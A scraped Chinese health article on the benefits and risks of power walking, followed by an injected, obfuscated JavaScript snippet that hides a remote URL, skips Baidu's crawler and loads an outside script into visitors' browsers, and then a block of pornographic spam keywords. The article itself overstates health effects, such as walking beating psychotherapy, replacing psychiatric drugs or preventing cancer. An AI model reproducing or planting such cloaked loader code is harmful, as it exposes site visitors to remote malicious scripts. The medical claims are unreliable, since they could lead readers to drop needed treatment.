當前位置:首頁 > 健康 > 運動健身 > 正文

暴走的好與壞

2017-04-14 14:58:52  來源:360常識網   熱度:
導語:暴走是一種強度非常高,而且又非常簡單的一種戶外運動,這種運動起源于美國,現在在韓國、日本等地都是非常流行的,現在暴走一族的人群數量

暴走是一種強度非常高,而且又非常簡單的一種戶外運動,這種運動起源于美國,現在在韓國、日本等地都是非常流行的,現在暴走一族的人群數量可以達到7000萬人。事實上,暴走是極限運動的一種,這種運動會挑戰人們的心理素質和身體素質,那么暴走的好與壞都表現在哪些方面呢?下面我們一起詳細了解下這個問題。

暴走對于我們的生活是有著很大的好處的,可以預防一些疾病的發生,也可以給我們的身體提供一定的保障,但是我們需要注意,在暴走的時候一定要有一定的限制,要遵守暴走的原則,這樣才能讓我們的健康得到一定的保障,否則會得到適得其反的效果。

(一)身體更年輕:暴走能讓人體的生物細胞呈現出“年輕化”的趨勢,它創造了一種忍耐力,對于身體器官有著積極的維護作用,讓我們看上去更年輕。

(二)抗憂郁:這項流行的健身方式,具有極為明顯的抗憂郁癥功效,有時甚至比一般的心理治療更為有效。難怪人們會用疾步行走替代服用神經藥物,它能夠降低患者對于精神壓力而產生的恐懼感。

(三)激活免疫力:能夠增強人體對一些傳染性細菌的抵抗能力,甚至更好地防止癌癥的發生。

(四)瘦身:一個體重為50公斤的女性每天進行一個小時的暴走后,能夠消耗300到550卡路里。

有關暴走的好與壞的問題就講解到這里,事實上,正確的暴走方式對于我們的健康是有著很大的幫助的,所以我們一定要多加了解什么樣的暴走才是正確的暴走方式,如果我們盲目的暴走的話,那么還是會給我們帶來一些傷害的,所以我們一定要注意。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
久久国产成人亚洲精品影院| 岛国精品一区免费视频在线观看| 亚洲精品乱码久久久久久下载| 亚洲愉拍99热成人精品热久久| 任我爽精品视频在线播放| 精品国产福利在线观看91啪| 国产在线观看麻豆91精品免费| 99久久精品免费精品国产| 久久丫精品久久丫| 久久久久四虎国产精品| 国产午夜无码精品免费看动漫| 国内精品视频在线观看| 久久国产美女免费观看精品| 国产精品成人小电影在线观看 | 久热这里只有精品视频6| 国产精品视频一区二区三区四| 中文精品久久久久国产网站| 精品亚洲一区二区三区在线播放| 亚洲精品无码日韩国产不卡?V| 羞羞色院91精品网站| 日批日出水久久亚洲精品tv| 成人国产精品一区二区网站 | 久久99精品久久久久久综合| 久久久精品2019中文字幕2020| 久久精品中文字幕久久| 久久精品视频99| 亚洲综合一区二区精品导航| 99热这里只有精品6免费| 91午夜精品亚洲一区二区三区 | 精品国产sm捆绑最大网免费站| 麻豆国产精品免费视频| 国产精品久久婷婷六月丁香| 婷婷99视频精品全部在线观看| 久9视频这里只有精品8| 日韩加勒比一本无码精品| 精品久久久久久无码中文野结衣 | 欧洲精品在线观看| 免费久久精品国产片香蕉| 精品国产成人在线| 久久久久久久99精品免费观看| 无码国内精品人妻少妇|